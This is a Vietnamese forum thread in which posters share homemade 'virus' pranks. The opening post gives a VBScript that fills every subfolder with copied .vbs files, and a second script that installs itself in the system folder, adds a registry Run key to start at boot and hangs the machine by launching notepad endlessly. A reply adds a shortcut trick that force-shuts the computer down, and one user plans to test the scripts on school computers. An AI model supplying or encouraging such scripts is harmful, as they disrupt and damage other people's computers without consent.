Sub FolderList(FolderSpec) On Error Resume Next Dim f,f1,sf,COP,CAP Set f=fso.GetFolder(FolderSpec) set sf=f.SubFolders For Each f1 In sf Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs") COP.write VBCopy Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs") CAP.write VBCopy FolderList(f1.Path) Next End sub
Rồi nhấn Ctrl + S => Save lại với tên là: Thuoc_Doc.vbs nhớ đuôi phải là .VBS nha chỉ cần chạy file này là "Tràn ngập Virus !" Còn đây là file thuốc giải:
Sub FolderList(FolderSpec) On Error Resume Next Dim f,f1,sf,COP,CAP,ATT Set f=fso.GetFolder(FolderSpec) set sf=f.SubFolders For Each f1 In sf 'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs") 'COP.write VBCopy 'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs") 'CAP.write VBCopy 'Set ATT=fso.GetFolder(f1.Path) 'ATT.Attributes=ATT.Attributes+2 fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs") fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs") FolderList(f1.Path) Next End sub
cũng lưu lại như trên với tên : Thuoc_Giai.vbs nhớ là vbs là đuôi chứ ko phải tên.
mở notepad lên chép đoạn mã sau vào:
On Error Resume Next Set popo= Createobject("scripting.filesystemobject") popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs" Set popo2= CreateObject("WScript.Shell") popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %" Set treomay= CreateObject("WScript.Shell") Do treomay.run "notepad",false loop
cái này sẽ làm máy bị treo
lưu lại với tên jì cũng đc nhưng với đuôi là ".vbs" Ví Dụ: treomay.vbs
tắc máy...mở lên lại là OK...na na nà ná na nà...bình thường trở lại!
- Làm dc cái này, khi vào win bạn sẽ nhận dc 1 thông báo và chỉ có nút ok,nếu ko ok thì ... ko logon dc hihi,rất hữu ích khi nghịch trên máy của bạn Vào hộp Run nhé,gõ gpedit.msc
Tìm theo đường dẫn Computer Configuration --> Windows Settings --> Local Plicies --> Security Options Tìm đến Interative logon: Message title ... Gõ vào đó tiêu đề của của sổ Tìm đến Interative logon: Message text ... Gõ tiếp nội dung của thông báo(cái nì gõ có dấu dc) Apply --> ok Vậy là xong rồi đó bạn có thể trêu người khác, vd như với Title:"You ơi!" và text là:"You có yêu tui ko,yêu thì ấn ok nhé!" Tất nhiên là họ ấn ok rùi,vì ko ấn thì logon làm sao dc hihi
Cách gỡ đi nhé: Làm giống các bước trên nhưng bước cuối các bạn xóa hết đi là dc,Đơn giản phải hok hihi! Và thêm 1 điều nữa là,khi đã làm xong chỉ cần Logoff thôi,ko cần Restart đâu các U nhé
Thu Feb 18, 2010 9:02 am
Tổng số bài gửi : 25
Xu:$$ : 29
Birthday : 27/12/1953
Age : 70
Tiêu đề: Re: phá phách = virut tự làm
wow! ADMIN bữa nay bày trò cho a e tự sát hả?
Thu Feb 18, 2010 9:05 am
my lover : +)aNg kY'm ;)
Tổng số bài gửi : 249
Giới tính :
Xu:$$ : 372
Birthday : 05/12/1994
Age : 29
Đến từ : pẢo lộC 2skool
Tiêu đề: Re: phá phách = virut tự làm
hEhe, lÀm hÁck cF yK ...
Thu Feb 18, 2010 9:18 am
Tổng số bài gửi : 576
Giới tính :
Xu:$$ : 843
Birthday : 21/04/1993
Age : 31
Đến từ : BẢo LỘC town_11a4
Tiêu đề: Re: phá phách = virut tự làm
b0rnt0l0v3 đã viết:
hEhe, lÀm hÁck cF yK ...
cái này công nghệ cao! a chưa dám đụng đâu chú! léng phéng chết lunk........ko đùa đâu
Thu Feb 18, 2010 11:30 am
Tổng số bài gửi : 12
Giới tính :
Xu:$$ : 28
Birthday : 05/10/1990
Age : 33
Tiêu đề: Re: phá phách = virut tự làm
dễ làm hơn nữa cho những công dân không fai IT nè ^^! Trên Desktop click chuột phãi xuống New tạo 1 Shortcut rùi ghi : win shutdown -s -f -t 60 -c "haha " sau đó nhấn next rùi đặt tên cho nó là virus , click vào hậu quả là bạn sẽ bị tắt máy trong vòng 60s vô phương cứu chữa 60s là thời gian tắt máy trong dấu ngoặc ghi gì tùy bạn Ai mún phá reply lại nha
Thu Feb 18, 2010 5:29 pm
Tổng số bài gửi : 576
Giới tính :
Xu:$$ : 843
Birthday : 21/04/1993
Age : 31
Đến từ : BẢo LỘC town_11a4
Tiêu đề: Re: phá phách = virut tự làm
ĐANG LÀM VIỆC KO DÁM TEST THỬ! ĐỂ PỮA NÀO LÊN TRƯỜNG THỬ CHO CHẮC! LỠ LỪA ĐẢO HƯ MÁY THÌ.......KHỐN
* Viết tiếng Việt có dấu, là tôn trọng người đọc. * Chia sẻ bài sưu tầm có ghi rõ nguồn, là tôn trọng người viết. * Thực hiện những điều trên, là tôn trọng chính mình.
-Nếu chèn smilies có vấn đề thì bấm A/a trên phải khung viết bài
lượt truy cập [Từ 21/05/11] 
Wed Mar 24, 2010 10:49 am
Birthday
my lover
ĐANG LÀM VIỆC KO DÁM TEST THỬ! ĐỂ PỮA NÀO LÊN TRƯỜNG THỬ CHO CHẮC! LỠ LỪA ĐẢO HƯ MÁY THÌ.......KHỐN 
